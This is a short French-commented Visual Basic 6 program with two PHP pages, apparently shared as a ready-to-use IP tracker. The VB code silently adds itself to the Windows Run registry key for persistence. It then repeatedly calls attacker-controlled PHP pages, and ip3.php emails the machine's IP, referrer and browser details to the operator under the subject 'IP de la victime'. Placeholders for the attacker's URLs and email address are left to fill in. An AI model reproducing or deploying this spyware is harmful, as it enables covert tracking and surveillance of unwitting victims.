Private Sub Form_Load()
'ecriture du prog dans la base de registre
Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r
Set WSHShell = CreateObject("Wscript.Shell")
MonProg = "IP v3.1"
CheminDeMonProg = "C:\ip v3.1.exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg
r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")
LblEtatRAS.Caption = GetNetConnectString
'si le pc est connecté au net
If TestActiveConnect = True Then
Timer3.Enabled = True
Timer4.Enabled = False
LblTest.ForeColor = vbGreen
LblTest.Caption = "Connection Actuellement en cours"
Else
LblTest.ForeColor = vbRed
LblTest.Caption = "Connection Impossible"
'sinon activer Timer2
Timer2.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
LblEtatRAS.Caption = GetNetConnectString
End Sub
Private Sub Timer2_Timer()
'quitte la Form1
Unload Form1
'recharge la Form1
Load Form1
End Sub
Private Sub Timer3_Timer()
'ouverture de l'url par Inet
ip1 = Inet1.OpenURL("adresse de votre page php")
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer()
If TestActiveConnect = False Then
Timer3.Enabled = True
Timer4.Enabled = False
Else
ip2 = Inet1.OpenURL("adresse de l'autre page php (la deuxieme) ip4.php")
Timer5.Enabled = True
End If
End Sub
Private Sub Timer5_Timer()
If ip1 = ip2 Then
Timer5.Enabled = False
Else
Inet1.OpenURL ("l'adresse de votre premiere page php")
Timer5.Enabled = False
End If
End Sub
____________________________________________________________________
'page php : ip3.php
<?PHP
/* Coded by ElastycmaN (a na pas changer !;o)) */
$vraieip = getenv("HTTP_X_FORWARDED_FOR");
if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;
/* Et a la suite mon script qui envoit l'ip par mail*/
$msg = "IP:\t$vraieip\n \tVenant du site : $HTTP_REFERER\n Naviguateur :\t$HTTP_USER_AGENT\n Langue : \t$HTTP_ACCEPT_LANGAGE\n Logiciels utilisés : \t$HTTP_ACCEPT\n Type de compression : \t$HTTP_ACCEPT_ENCODING\n";
$recipient = "votre adresse mail";
$subject = "IP de la victime";
$mailheaders = "From: Ip de la victime<> \n";
mail($recipient, $subject, $msg, $mailheaders);
?>
_____________________________________________________________________
'page php : ip4.php
<?PHP
/* Coded by ElastycmaN */
$vraieip = getenv("HTTP_X_FORWARDED_FOR");
if ($vraieip=="")
{$vraieip = $REMOTE_ADDR;
}
echo $vraieip;
?>